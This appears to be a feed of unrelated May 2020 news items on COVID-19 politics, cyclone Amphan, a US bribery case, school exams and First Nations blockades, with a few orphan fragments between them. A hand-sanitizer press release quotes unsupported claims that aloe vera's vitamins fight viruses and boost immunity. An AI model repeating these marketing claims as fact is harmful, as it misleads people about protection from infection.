In an interview on UTV's 'Adekye Nsroma' political show, the NDC Communicator mentioned that he feels the current government under President Akufo-Addo is not concerned about how to tackle issues pertaining to the COVID-19 pandemic.



He said the government is only interested in how to manipulate their way to remain in power for the next four years.



He told UTV that the Electoral Commission lacks 'common sense' to compile a new voter's register amid the coronavirus pandemic.



"We will not comply to any laws surrounding the compilation of a new voters' register . . . whoever has it in mind to destroy this nation will not succeed," he said.



EC relentless



The Electoral Commission of Ghana says it will definitely compile a new Voters' Register despite calls for them to reconsider due to the outbreak of COVID-19.



There have been several calls for the electoral body to only conduct a limited registration exercise instead of compiling a new voters' register.



Per the argument, the number of people that will take part in a limited registration exercise will be less than in a new voters' register and can be controlled.



Madam Sylvia Annor, Head of Public Affairs at the Commission says the compilation of a new voters' register will definitely come on.



She allayed the fears of Ghanaians who are thinking of staying away from the registration centres, saying only 25 persons will be allowed at a centre at a time.

Source: Elizabeth Semiheva Bedi, [email protected]









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Fetal growth is one of our good measures of how well the placenta is working in terms of giving oxygen and nutrients to the baby, said Miller, so if the growth is OK, that might give us reassurance. Normally in pregnancy, we use a measuring tape to measure how tall the uterus is, but that may not be accurate enough in these settings because the risk might be higher.
The death toll from cyclone Amphan in West Bengal rose to 77 on friday, as disaster management and civil authorities scrambled to restore normal life and Prime Minister Narendra Modi flew down to the state capital to take stock of the situation, officials said.

Prime Minister Modi will review the situation with Chief Minister Mamata Banerjee, before flying to Odisha, where he will meet her counterpart Naveen Patnaik.

Five more bodies were recovered from different parts of West Bengal since Thursday night, raising the death toll in the state to 77, officials said.

Modi and Banerjee will also undertake an aerial survey of the cyclone-ravaged areas.

At the review meeting with the prime minister, Banerjee will likely seek an economic package for the state and reaffirm her demand that the cyclone be declared a national disaster.

Lakhs of people were rendered homeless as cyclone Amphan cut a path of destruction through half-a-dozen districts of West Bengal, including state capital Kolkata, Wednesday night, blowing away shanties, uprooting thousands of trees and swamping low-lying areas.

Although electricity and mobile services were restored in some parts of the state capital and North and South 24 Parganas, the two worst-hit districts, large areas of the city continued to remain without power as electric poles and communication lines had been blown away by gusting winds.

"He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed," the PMO said in a tweet Thursday night.

Banerjee had on Thursday announced a compensation of Rs 2 lakh each for the families of the deceased and a corpus fund of Rs 1,000 crore for preliminary restoration work in the affected areas.

Teams of the NDRF and the State Disaster Relief Force (SDRF) have been working on a war-footing to clear the roads blocked by fallen trees.

More than 5,000 trees besides a few hundred electric posts, traffic signals and police kiosks have been uprooted in and around Kolkata, said a KMC official.

"Thousands of trees have been removed so far. But still there is a lot more to be done. We are hopeful that within two-three days we would be able to normalise the situation. For the time being, we would request people to stay indoors," Kolkata Mayor and state minister Firhad Hakim said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Hyderabad, May 22 : With the Telangana High Court showing green light for conducting Class X exams after the first week of June, the state education authorities on Friday announced the exam schedule.

As per the new schedule, the exams will be held from June 8 to July 5.

Education Minister P. Sabita Indra Reddy announced that there will be a two- day gap after each paper as suggested by the high court.

The exams will be held from 9.30 a.m. to 12.15 pm.

Acting on the court's suggestion to ensure social distancing, the department said 2,005 exam centres would be set up. This will be in addition to 2,530 centres set up earlier.

The minister said every exam centre will be sanitised and the students will be provided face masks. All candidates will be thermally screened before their entry into the exam centres.

For candidates found to be suffering from fever, cold and cough, separate rooms would be providing for writing the exams.

One student will sit on each bench in the exam hall. Students will be informed about their exam centres through their respective schools.

The Telangana State Road Transport Corporation (TSRTC) will operate special buses to ferry the students to their exam centres.

Sabita Indra Reddy said services of additional 26,422 teachers will be used as invigilators at the exam centres. It will be compulsory for them to wear masks and gloves.

She appealed to parents of the students to take care of them to ensure that they are not affected by Covid-19. On the suggestion of the High Court, the department decided to open a helpline for students and their parents.

While allowing the government to go ahead with the preparations for the exams after first week of June, the High Court on Wednesday asked it to review the situation on June 3 and submit its report to the court the next day. The government was asked not to conduct the exams if the Covid-19 situation deteriorates by then.

A division bench passed the orders on a petition filed by the state government, seeking review of the interim orders passed by the court in March and the permission to conduct the exams in May as per the revised schedule.

On March 20, the High Court had directed the state to postpone the Class X exams, scheduled for March 23 to April 6, in view of the Covid-19 outbreak.

The state had conducted the exams for three papers of the first and second languages before March 22 as per the original timetable.

The state Cabinet earlier this month decided to conduct the exams for remaining papers during May.

It moved the High Court, seeking permission for the same keeping in view the academic calendar and the interests of 5.50 lakh students.
DENTON, Texas, May 22, 2020 /PRNewswire/ -- With the recent outbreak of COVID-19, there has been a scarcity of hand sanitizer and other essential germ-fighting supplies on the market. To help facilitate this demand, Beauty by Earth was quick to formulate high-quality, germ-fighting hand sanitizer and make it readily available to customers.

The product is now available for purchase on its website at www.beautybyearth.com. Orders placed before 2 p.m. will ship that day. It is also available for wholesale. To find out more or become a wholesale partner, contact [email protected].

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"Our favorite antibacterial ingredients work together to kill germs while nourishing your hands. Made with organic aloe vera gel, peppermint essential oil, and lavender essential oil, it's a germ-fighting, skin-loving powerhouse," states Beauty by Earth's website. "Aloe vera gel. Honestly, you can't find a better base for a hand sanitizer. Its naturally occurring antioxidant and antibacterial properties make it a perfect choice. Your hands will love it too! It won't dry them out like conventional hand sanitizers will. Aloe vera also contains a number of vitamins and minerals which can boost immunity. In particular, Vitamin A helps take out rogue viral and bacterial threats. It's safe and effective for all ages and skin types."

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Press Contact: Danielle Greve, 469-777-6501, [email protected]

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Former L.A. County Assessor John Noguez appears in a downtown Los Angeles courtroom in 2013. (Irfan Khan / Los Angeles Times)

The long-running bribery and corruption case against former Los Angeles County Assessor John Noguez hit another roadblock Friday, when an appellate court ordered the matter dismissed on a technical violation, court records show.

Noguez was first arrested in 2012 and accused of accepting a $185,000 bribe from a tax consultant as part of a scheme to lower the valuations of certain properties in L.A. County, but nearly eight years later the case still had not gone to trial.

Prosecutors have blamed the delays on the sheer amount of evidence at issue and the fact that Noguez and one of his co-defendants, Ramin Salari, changed attorneys, restarting an already lengthy discovery process.

Delays ultimately led to the decision handed down Friday, according to a 10-page ruling issued by California's 2nd District Court of Appeal.

Noguez, Salari and former county assessor's office executive Mark McNeil were all held to answer on a litany of criminal charges including conspiracy, grand theft, bribery, and embezzlement after a July 2018 preliminary hearing. But according to the appellate decision, the Los Angeles County district attorney's office failed to file a subsequent charging document within 15 days of the hearing, as required by state law.

Prosecutors argued that the defendants implicitly waived the 15-day deadline when they agreed to postpone an arraignment in the case. Although a lower court upheld that argument, the appellate court granted the motion to dismiss all charges because of the missed deadline.

The dismissal does not prevent prosecutors from refiling the case.

"We are reviewing the decision and deciding on our next step, which may include appealing the decision or simply refiling the charges," said Greg Risling, a spokesman for the Los Angeles County district attorney's office.

Noguez's defense attorney, Anthony Falangetti, said he expected Friday's decision since California law is "cut and dry" about a prosecutor's responsibility to meet the 15-day deadline.

Story continues

Why the D.A.s office didnt do the obvious, I cannot explain," he said.

The repeated delays in the Noguez case have long been a source of criticism for the district attorney's office. The former Huntington Park city councilman was first led out of his home in handcuffs in 2012 and accused of taking bribes from Salari, a tax consultant, in exchange for reducing the valuations of properties owned by Salari's clients.

But it took six years for the case to even reach a preliminary hearing, and a trial date had yet to be scheduled, according to public records. A pretrial conference in the case was scheduled for July 27.

The charges against Noguez and the others have also been amended several times. Noguez initially faced 24 counts of accepting bribes, misappropriation of public funds, conspiracy and perjury. In later complaints, the number of charges against him swelled to 36. In July 2017, the number of charges fell to 25.

Deputy Dist. Atty. Craig Hum, the lead prosecutor on the case, has said the district attorneys office turned over more than 45,000 pages of evidence to the defendants, along with recordings of interviews and thousands of pages of testimony before an investigative grand jury.

"I think that this case is unduly complicated ... the scope and the size of it are problems," Falangetti said. "And I think that, frankly, the length of time its taken to bring this case to a preliminary hearing, is in part, because, this case is built on speculation and circumstantial evidence. Its not a very good case."

Steven Levine, a criminal defense attorney representing McNeil, said that while he welcomed Friday's decision he expected prosecutors would refile charges against all three defendants. Levine said discovery issues continue to plague the case, noting that prosecutors have yet to turn over a number of emails sent and received by a key witness, and expressed frustration that his client's life has essentially been on pause for the better part of a decade.

Hes been in limbo for eight years  we thought it was over. Hes anxious," Levine said. "I dont know how you get back eight years of your life.
By Joe Pinkstone for MailOnline, 14 May 2020

Scientists have found the first clear evidence that infection with coronavirus causes the Kawasaki-like inflammatory condition affecting children.

A study of eight children admitted to a Birmingham hospital with the condition reveals they were infected with the SARS-CoV-2 virus several weeks before showing symptoms.

All of the children tested negative in the traditional lab-based test used to diagnose COVID-19 in adults.

However, a custom-built antibody test revealed the young patients had been infected with the coronavirus and produced antibodies to fight off the pathogen.

Doctors who treated the children say antibody tests are the only way to accurately identify the presence of the virus in children suffering with the hyperinflammatory condition, which can be fatal.

It remains unknown why the syndrome develops weeks after infection, but scientists believe it may be due to a severe overreaction from the body's own immune system.

This 'immune-mediated pathology' causes the immune system to go haywire and can cause damage to the body's own cells.

A similar phenomenon has been seen in adults, and it can be fatal to the sickest patients.

Bertie Brown was admitted to Worcestershire Royal hospital last month on his second birthday after developing a fever and rash across his body

The syndrome affecting children has been tentatively called PIMS-TS, for 'paediatric inflammatory multisystem syndrome temporally associated with SARS-CoV-2'.

However, the British scientists say the condition's definition is incorrect as it is not 'temporally associated' with the pandemic but is instead 'triggered by SARS-CoV-2 infection'.

A team of scientists led by Dr Alex Richter and Professor Adam Cunningham of the University of Birmingham studied eight young patients who were admitted to hospital between April 28 and May 8.

Lab tests  which are used to identify COVID-19 and also to screen healthcare workers  came back negative for all eight individuals.

These tests, called PCR tests, are extremely reliable and are 'the nearest to a gold standard for determining active infection'.

Professor Adam Cunningham, who led on the research alongside Dr Alex Richter and Dr Barney Scholefield, told MailOnline: 'The PCR picks up the presence of the virus itself, so the virus needs to be present at the site in the throat where the sample (usually a throat swab is taken).

'If you clear the infection then there will not be virus there to detect.

'In response to infections, we often make antibodies, and these are usually detectable from 14 days after the first time you are infected.

'These antibody responses often persist in the body for months and often many years afterwards.'

The average age of the children admitted to hospital was nine years old and five of the patients were boys.

Chloe Knight, 22, revealed her two-year-old son, Freddie Merrylees (pictured), became ill just before the lockdown and was 'like a zombie' due to Kawasaki disease. The youngster had a rash on his body, a high temperature, red eyes and struggled to eat and drink

Seven of the patients showed symptoms of both hyperinflammation and Kawasaki disease.

One of the patients was expressing symptoms of hyperinflammation as well as some signs of toxic shock syndrome.

The mysterious and dangerous condition is being described by top medical professionals as very rare and symptoms can include fever, abdominal pain, rashes and red lips and eyes.

A very small group go into shock, in which the heart is affected, and they may get cold hands and feet and have rapid breathing.

Of the eight children treated in Birmingham and studied as part of this landmark research, all patients had fever and at least one gastrointestinal symptom such as abdominal pain, vomiting and diarrhoea.

Six of the patients required admission into paediatric intensive care due to heart-related issues and low blood pressure brought on by the disease.

All showed positive signs after treatment and have since been discharged from ICU.

Due to the reports in the media and claims from leading advisers and prominent politicians that this condition may be linked to the coronavirus pandemic, the researchers took blood samples for analysis from all eight children.

They then developed an custom antibody test with the help of researchers at the University of Southampton.

The test involves making an artificial copy of a key protein on the surface of the coronavirus which looks like a spike.

This unique 'spike' is a key identifier of the killer virus and was first revealed in detail by Professor Max Crispin of the University of Southampton.

He modelled the protein's surface spikes and this has allowed his team to produce an almost exact copy of the spike.

In the Birmingham hospital, this artificially created version of the protein spike was mixed with blood samples from the patients.

The researchers saw that some antibodies in the blood of the children bound to the spike, in the same way they would if the virus itself was invading.

In the tests, researchers looked to see which of three different immunoglobulins (the technical name for an antibody) - IgG, IgA and IgM - locked onto the imitation virus.

A positive IgM reading in the tests indicates a recent infection whereas a positive reading for IgG and IgA shows an older infection, the scientists say.

The children in the Birmingham hospital had no IgM antibodies but did have IgG and IgA antibodies, showing that they were infected with SARS-CoV-2 several weeks previously.

This time delay is the reason the PCR test did not detect the infection, the researchers say.

'IgM was not detected in children, which contrasts with adult hospitalised adult COVID-19 patients of whom all had positive IgM responses,' the researchers write in the study, which has been submitted to a preprint server and seen by MailOnline.

'For antibody responses, IgM responses develop first, before eventually waning and IgG responses dominating thereafter,' the researchers explain.

'Thus, high levels of IgG in the absence of IgM are typically suggestive of infection weeks or even months previously. '

This antibody test is conducted in a laboratory and is not a portable test. It is also fundamentally different to the test approved by the government today, which is manufactured by Roche.

Roche's method uses a nucleoprotein to mimic the SARS-CoV-2 virus, not the viral spike.

'Using the native-like viral spike for antibody testing is proving a highly sensitive way of detecting exposure to SARS-CoV-2,' Professor Crispin told MailOnline.

The researchers say their research shows that the only way to diagnose patients with symptoms of severe inflammatory syndrome who have tested negative for the PCR is via antibody testing.

Dr Cunningham says: 'In our study, none of the children were positive by PCR, yet all of the children were positive by antibody testing.

'This may mean that the disease developed after the kids have already cleared the virus.

'If so, then serology may be more useful diagnostically for kids who are PCR negative.

'What the antibody test tells us is that these children have definitely been infected with SARS-CoV-2 at some time in the past, which will hopefully help doctors make decisions on how to treat these patients.

'Ultimately, both PCR and antibody testing have overlapping roles to play in diagnosing this syndrome. Really excitingly, the detection of the antibodies may also provide clues on how this syndrome develops.'

As a result of their findings, the researchers suggest changing the definition of PIMS-TS, as the Kawasaki-like condition is now known.

'Since all patients were positive serologically, it may be worth considering amending the definition of PIMS-TS so that TS is not just "temporally associated with SARS-CoV-2 pandemic", but "triggered by SARS-CoV-2 infection",' the researchers conclude in their study.
As America lurches toward reopening after weeks of coronavirus-related shutdowns that ravaged the economy, some people, including political leaders, frame the situation in binary terms: Its a choice between lives and livelihoods  grandmas health or Wall Streets wealth.

But the real-time, high-stakes experiment now under way is far more complex, a calculus with innumerable variables. As politicians, business leaders and individuals weigh the risks, economists and ethicists are seeking ways to balance the competing perspectives.

Some states, counties and cities seem to view the choice as all or nothing, rushing to fling open restaurants, tattoo parlors, barbershops, malls and factories, while protesters, some of them armed, pressure government officials to follow suit.

Many ordinary Americans are more cautious, preferring to stay cloistered for fear of contagion. In the Bay Area, few ventured out in recent days even after stores opened for curbside pickup in San Francisco and restaurants reopened dining rooms in Napa. Still, with millions of people now jobless, the calls to return to work have accelerated, along with fears that businesses  and the jobs they provide  will close for good the longer the shutdown grinds on.

Josh Edelson / Special to The Chronicle

Meanwhile, the recipe followed by California and the Bay Area for slow and gradual reopening, with ample testing and contact tracing  and opportunity to pull back if needed  suggests there is a middle way. The question is how to mitigate the worst effects of both the virus and the measures we undertake to prevent its spread.

The decision is more nuanced than that draconian, black-or-white choice, said Joan Harrington, director of social sector ethics at the Markkula Center for Applied Ethics at Santa Clara University. We have more information, more data, so a slower, gradual reopening is a possibility.

She fears the consequences for states that leap ahead without reflection. Weighing what option best serves the common good should be the lodestar, she said. And it may not be the same for all populations.

You want people to be treated equally so their outcomes are the same, she said.

That may mean offering support to groups such as minorities and lower-income workers who are disproportionately affected by the disease. Providing child and elder care and guaranteeing paid sick leave, adequate health care and adequate time off are measures that could reduce their vulnerability to the virus by lessening the economic pressure to risk exposure on the job. Spreading out shifts could support more physical separation at workplaces.

The all-or-nothing approach of We are completely open or we are still closed with no creative thought on how to make it work is just untenable and will lead to continuing polarization and politicization of the issue, Harrington said.

Josh Edelson / Special to The Chronicle

A utopian expansion of social safety nets could carry an unsustainable price tag, some economists warn.

The simple fact is: Somebody has to pay for those things, said Bob Graboyes, senior research fellow and health care scholar at the Mercatus Center at George Mason University and a former economist at the Federal Reserve Bank of Richmond. The economy is in terrible shape. Federal and state government revenues are shattered right now. Im opposed to promising things we cannot afford.

Universal health care, he said, hardly proved a panacea overseas. Europe is full of countries with universal systems, and theyve had horrific results  Italy, Spain, the Netherlands, he said.

The choices seem stark, and none ideal.

Staying shuttered until theres a vaccine would be the surest way to preserve peoples physical health. But doing so risks economic catastrophe. High unemployment carries its own heavy burdens: malnutrition, homelessness, bankruptcy, depression, domestic abuse and other social ills.

Throwing businesses doors open without limits could initially lead to rehiring but then trigger major new waves of infections. Such a scenario could have its own shattering economic consequences.

If that happens, its a whole different economic ballgame, said Mark Zandi, chief economist at Moodys Analytics. It will completely undercut confidence, and thats very hard to recover from.

He goes so far as to call that potentially cataclysmic for the economy.

Its a very large gamble to open up too quickly, he said. But with 50 states doing their own thing, its bound to reason that one will do the wrong thing at the wrong time.

Rich Pedroncelli / Associated Press

Using a cold-blooded financial lens to assess the consequences of not sheltering in place shows that it could have been an expensive choice indeed. Similar calculations apply to the lives lost if reopening triggers a new surge in deadly infections.

Economists at the University of Chicago did the math on the potential cost in lives, using U.S. government figures for the value of a statistical life, a multimillion-dollar figure that varies by age.

In their report, Does social distancing matter?, Michael Greenstone and Vishan Nigam use estimates from the Imperial College of London on the U.S. death toll if the country failed to intervene to halt the virus spread. They project that the shutdowns that began in mid-March saved 1.76 million lives. Of those, 1.13 million would have perished from the coronavirus, and the rest would have died from avoidable causes because hospitals were overwhelmed with COVID-19 victims. That could have cost the economy $7.9 trillion, they wrote.

Overall, the analysis suggests that social distancing initiatives and policies in response to the COVID-19 epidemic have substantial economic benefits, they concluded.

For the initial weeks of shelter-in-place, the decision seemed clear.

We think life is valuable and were willing to take a big economic hit to make sure people dont die was the thinking, said Manuel Pastor, director of USCs Program for Environmental and Regional Equity and a member of Gov. Gavin Newsoms Task Force on Business and Jobs Recovery.

The hit was indeed big, with scenarios rivaling the Great Depression as millions of Americans lost their jobs and people lined up for hours at food banks.

And even with the economic sacrifices, the virus circulated widely. Close to 100,000 Americans have died of COVID-19, and at least 1.6 million have been infected.

That is far short of the theoretical 1.76 million number Greenstone and Nigam forecast, because the shutdown did happen. But some have made estimates of the cost of the countrys current middle path.

A Wharton study shows that a partial reopening could add about 40,000 deaths on top of the expected amount, exacting a heavy financial toll on top of the moral one.

Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes

A forecast by the Institute for Health Metrics and Evaluation at the University of Washington projects nearly 135,000 U.S. deaths by August. That more than doubles an earlier estimate, based on the effects of easing of social distancing.

There is also the question of who bears the brunt of the increased health risks of reopening.

The crisis has exacerbated the yawning divide between people who can work comfortably at home and have a cushion of savings, and those who lack that cushion and whose jobs require them to work in person, putting them at risk of the virus.

To me the moral dilemma is: Are you putting a risk on someone else that you are willing to accept for yourself? Pastor said.

Well see whether the slow-walk approach California is taking will lead to more sustainable recovery over time, he said.

Its not a binary decision, said Anthony Scriffignano, chief data officer at Dun & Bradstreet, which is consulting with the Federal Emergency Management Agency on reopening the economy. There is precedent around the world for, Do a little bit, see what happens, do a little more. Its always possible to back up.

Projections on some basic realities may also help guide decision-making, Scriffignano said.

D&B, which has vast data troves through its work providing business credit reports and other insights for corporations, is helping FEMA by translating reopening scenarios into real numbers. Its answering questions like these: If a region opens a third of its factories, how many employees will return to work and how many individuals live in their households? How much personal protective equipment and testing resources should be allocated in that area?

Its very dangerous to make any of these decisions in isolation, he said. You have to look at the entire integrated supply chain around the world.

Josh Edelson / Special to The Chronicle

No matter what, the restarted economy wont look much like that from a few months ago.

Travel, tourism, hotels, restaurants, performing arts, spectator activities will be a shadow of what they were, Zandi said. That will wipe out a big part of the infrastructure that supports those industries. In many cases because of shifts in the way we live and work, they may not come back in the way we know them.

Economic transformation will occur long-term as well.

The virus and its fallout will reinforce trends already in place: the shift to online retailing, move away from urban center, pullback from globalization/trade/immigration, Zandi said. These dynamics were already beginning to unfold, but this event will supercharge them.

Which shows just how challenging solving for lives and livelihoods is. Far from a simple equation, its a knotty reckoning for a world that is not just threatened by a virus, but being transformed by it.

Carolyn Said is a San Francisco Chronicle staff writer. Email: csaid@sfchronicle.com Twitter: @csaid
More than 20,000 people have so far died from COVID-19 in Brazil as the country registered its highest one-day toll.

The health ministry said on Thursday the 1,188 deaths recorded over the previous 24-hour period pushed the overall tally to 20,047.

Brazil, the epicentre of the pandemic in Latin America, has now recorded more than 310,000 confirmed cases  but experts say a lack of testing means the real figures are probably much higher.

With its curve of infections and deaths rising sharply, the country of 210 million ranks third in the world in terms of total cases, behind the United States and Russia.

The death toll  the sixth highest in the world  has doubled in just 11 days, according to ministry data.

Despite the worrying spread of the disease, far-right President Jair Bolsonaro on Thursday continued his calls to scrap lockdown measures to revive a flagging economy.

But almost all of the countrys 27 states are under some sort of lockdown order, though Brazilians are wearying of the restrictions in place since the end of March.

The state of Sao Paulo, the economic and cultural capital of Brazil, is by far the most affected, with about a quarter of the countrys deaths and infections.

Hospitals in Sao Paulo, Rio de Janeiro and various states across northern and northeastern Brazil are near collapse.

The authorities have been racing to set up field hospitals with more beds, but are struggling to build them fast enough.





Sao Paulo Governor Joao Doria, who has clashed often with the president over containment measures, has said the country has to fight both coronavirus and Bolsonarovirus.

But Bolsonaro and the governors sounded a conciliatory note on Thursday as they held a video conference on coordinating the response to the pandemic.

The president called it a great victory for the Brazilian people.

Doria, for his part, urged unity.

Brazil needs to be united. If were at war, we all face defeat. Lets go together in peace, Mr President, together for Brazil, he said.

We are at war

Bolsonaro, who has famously compared the virus with a little flu, appears to have pinned his hopes on the anti-malaria drugs chloroquine and hydroxychloroquine to stop it.

The drugs have shown inconclusive results against coronavirus, and scientists say further studies are needed to determine whether they are safe and effective for COVID-19.

But like his US counterpart Donald Trump, Bolsonaro sees them as potential wonder drugs.

His government recommended on Wednesday that all COVID-19 patients receive one of the drugs as soon as they show symptoms.

There is still no scientific proof, but (chloroquine) is being monitored and used in Brazil and around the world, Bolsonaro wrote on Twitter. We are at war.
Sure, it might be warm Wednesday, but what about the rest of the week?

local
I hate online learning for my elementary-aged kids. And while Im grateful that its keeping us afloat while it isnt safe to be at school, it is not the way of the future for education.

Powerful people and organizations all over the country, and even right here in Texas, are seizing this opportunity to hail the benefits of distance and online learning. They are using this tragedy to push for permanent models of virtual education, paid for by our taxes and federal grant money.

If you are among those who think distance learning is the future, please come to my house.

My house doesnt come with the most difficult hurdles to educational success. We have internet access, two laptops, two iPads, two iPhones and a Chromebook. We have a full refrigerator and the ability to restock when we get low. We have a two-parent, two-income household. Our school district was prepared and ready for a crisis such as this.

So, we shouldnt have a problem, right? No reason to complain. According to virtual school proponents, this can be the way of the future.

The first week of distance learning back in March, our school suggested we follow a similar schedule to the one our children were used to at school. It was fast-paced and rigorous, and I knew immediately that this was not going to work for us.

Eventually, though, the steep distance-learning curve began to flatten out. And the days of getting one child settled into an assignment just to hear that another one is done and ready for the next assignment, never to find any time for my own work, are mostly in the past.

So life on the plateau of distance learning should be going OK, right? The kids are checking off their assignments here and there, weve trashed the suggested schedule for the day in favor of complete anarchy, and the kids are enjoying the absence of parental oversight so we can actually do our jobs.

There are some perks: I love the freedom this time has given my kids to work through their boredom, work through their sisterly spats without interference and simply be kids with no assignment.

But a life of online learning is not sustainable for parents, teachers or students, and it is not the way of the future in education.

Teachers are finding ways to teach new material and concepts online, and they are creative and brilliant, but it is just a temporary solution for a time of crisis. The value that teachers provide to our kids cannot be boiled down to a list of assignments per week over Google Classroom. The presence of a real, live person cannot be replaced by a computer.

As Pastors for Texas Children affirms, teaching is a holy vocation. Teachers dont teach for the money. They teach out of love for children and the belief that education is the foundation of every childs success in life.

I want my children to spend time with, be taught by, formed by, known and loved by competent and committed adults other than their mom and dad. I want them to have teachers who are as human as I am, real and flawed and imperfect, but who love them anyway.

A virtual setting does not provide that. It is no wonder, then, that virtual schools have performed so poorly across the nation. I have seen why firsthand, and I certainly dont want my taxes to pay for something with such a poor track record. No, I want my money to support my local community school and teachers.

Lets not conclude during an unprecedented crisis that this is a good time to start transitioning all education to a computer. Its ridiculous and irresponsible. And it is opportunistic by the very same people who want to dismantle traditional public education.

Rather than the way of the future, this is a moment that will pass. We will look back at this moment and stand in awe of how public schools and schoolteachers kept our nation afloat.

Then we will all finally realize that they are worth every penny.

Cameron Vickrey is the associate director for Pastors for Texas Children. She also co-founded RootEd, a local parent-led advocacy group for public schools.
West Bengal chief minister Mamata Banerjee on Friday accompanied Prime Minister Narendra Modi during his aerial survey of the areas affected by cyclone Amphan in the state. Eighty people have died due to the impact of the cyclone in the state, she said.

In the afternoon, CM Banerjee is scheduled to attend a videoconference of opposition leaders called by Congress chairperson Sonia Gandhi to discuss the Covid-19 situation in the country.

According to a senior official of the state government, the chief minister and the Prime Minister surveyed two of the two worst-affected districts - North 24-Parganas and South 24-Parganas - following which both of them attended an administrative meeting at Basirhat, a subdivision in North 24-Parganas district that has been ravaged by the cyclone and large parts of which remain cut-off from the rest of the state due to fallen trees, electric poles and electric and mobile towers.

After the meeting with PM Modi, Mamata Banerjee is scheduled to return to the state secretariat, where she will attend a videoconference of opposition leaders called by Congress president Sonia Gandhi to discuss the governments Covid-19 management and the plight of the migrant workers.

Earlier, receiving the Prime Minister at Kolkata airport on Friday morning, the Bengal CM asked the PM to declare cyclone Amphan as a national disaster, a demand that the Congress and Left Parties in the state have also made.

On Thursday, Mamata Banerjee had said that the cyclone has come as a double whammy in the middle of the Covid-19 lockdown and the state would need Centres help for relief and reconstruction.

Making the demand, Communist Party of India (Marxist) politburo member Surya Kanta Mishra said, Funds should start reaching the state immediately.
OTTAWA  The four northern First Nations blockading Manitoba Hydro from undertaking a massive shift change are demanding to meet with the utilitys CEO in person.

Hey there, time traveller!

This article was published 21/5/2020 (608 days ago), so information in it may no longer be current.

OTTAWA  The four northern First Nations blockading Manitoba Hydro from undertaking a massive shift change are demanding to meet with the utilitys CEO in person.

Three weeks after chiefs asked to speak with Hydro CEO Jay Grewal about the risk of COVID-19 at the Keeyask megaproject, the utility offered to hold a teleconference call.

But the chiefs leading blockades at both entrances say theyll reject that offer. They want Grewal to visit them 750 kilometres northeast of Winnipeg.

"Were trying to protect Manitoba as a whole," York Factory Chief Leroy Constant told the Free Press Thursday afternoon.

"We want their president to meet with us directly. We want a nation-to-nation, leadership to leadership-style meeting to occur, just to have more transparency on their part."

On May 1, Hydro announced its plan to allow a new batch of workers to rotate in to the site. More than 500 workers volunteered to stay for two months during the COVID-19 lockdown.

Hydro convinced provincial health authorities to exempt Keeyask construction from a northern travel ban to usher in as many as 1,200 workers, about a tenth of whom would come from outside Manitoba.

Keeyask leaders discussed the idea in weekly calls with chiefs, but the bands say they learned the details and timing the same day it was announced to Keeyask workers.

On May 7, the four chiefs wrote to Grewal asking to meet over concerns the plan would introduce COVID-19 to a region with scant medical services.

Many band members work on the site and fear an outbreak similar to those seen in northern Alberta and Saskatchewan.

Grewal wrote back, asking them to take it up with local staff and stop speaking with media about it.

The blockade started May 15, four days before the shift change was set to start.

Constant suggested Grewal could visit the blockades without contracting or spreading COVID-19, given that Hydro said its protocols allow for safe transportation.

Hydro confirmed offering the four chiefs a teleconference with Grewal "for her to hear first-hand their perspectives and concerns regarding the current Keeyask pandemic plans and the rotation of staff," and said one chief had responded, asking for an in-person meeting.

On Wednesday, RCMP formally presented a Monday court injunction, authorizing Mounties to clear any blockades within 10 days.

RCMP presented the injunction to Tataskweyak Chief Doreen Spence, who ripped it up. She said Hydro is violating its promise to be a partner with the local First Nations.

"Were not going to back down," she said. "Is this how you treat a partner?"

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The RCMP say they plan to intervene only if safety is at risk.

Asked if the blockades were justified Thursday, Prime Minister Justin Trudeau instead said governments and Indigenous communities need to share the goal of keeping people safe.

"Every community needs to make... make sure they're taking decisions to protect their members, but I think there are many ways of going about it," he said.

Premier Brian Pallister said he trusted health authorities.

"We need to follow the rule of law and we need to make sure that we respect it," he told reporters.

dylan.robertson@freepress.mb.ca
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UNITED NATIONS  The United Nations on Thursday launched an initiative to tackle coronavirus misinformation by spreading trusted, accurate content with a network of volunteers.

The initiative, dubbed Verified, encourages people around the world to become information volunteers to share verified content via social media.

These so-called digital first responders will receive a daily feed of content with simple, compelling messaging that counters false claims or fills an information gap.

It will be centered on science, solutions and solidarity, and will include hopeful content that celebrates local acts of humanity, the contributions of refugees and migrants, and makes the case for global cooperation, according to U.N. global communications chief Melissa Fleming.

She said the initiative aims to address disturbing efforts to exploit the crisis to advance nativism or to target minority groups, which could worsen as the strain on societies grows and the economic and social fallout kicks in.

The campaign will also promote recovery packages that combat the climate crisis and address poverty, inequality and hunger.

The U.N. will also partner with influencers, civil society, businesses and media to distribute the content and work with social media companies to remove hate and harmful claims about the pandemic.

Misinformation spreads online, in messaging apps and person to person. Its creators use savvy production and distribution methods, U.N. Secretary-General Antonio Guterres said in a press release. To counter it, scientists and institutions like the United Nations need to reach people with accurate information they can trust.
The Cross River State Commissioner for Health, Betta Edu, on Friday said a sample of a suspected COVID-19 case in the state had been sent to the Irrua Specialist Hospital in Edo State for analysis.

Mrs Edu, a medical doctor, who was reacting to the death of a nurse at the University of Calabar Teaching Hospital (UCTH), made the revelation in an interview with journalists in Calabar, the state capital.

Cross River State is one of the two states in Nigeria yet to record COVID-19 cases. The other is Kogi State.

The commissioner, who is also the Chairman of the Cross River COVID-19 Response Team, said she was aware of the death of the nurse but could not yet confirm whether or not the nurse died of a COVID-19 infection.

We have sent samples to the Nigeria Centre for Disease Control (NCDC) laboratory in Irrua, Edo State and the result is not yet back, she said.

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However, a source at UCTH who pleaded anonymity said a nurse working in the hospital presented symptoms of COVID-19 on Wednesday in the Accident and Emergency (AE) Unit.

After review, the deceased was taken to the Intensive Care Unit (ICU) while being prepared for the UCTH Isolation Centre, and an ICU nurse and an anaesthetist cared for her.

The patient died on Wednesday night, May 20, although her sample result is yet to be ready, the source said.

A seven-member Ministerial Task Force visited the state on Monday to assess its level of response to the pandemic.

The task force also assessed some medical facilities put in place in the state to combat the pandemic.

(NAN)
Press Release

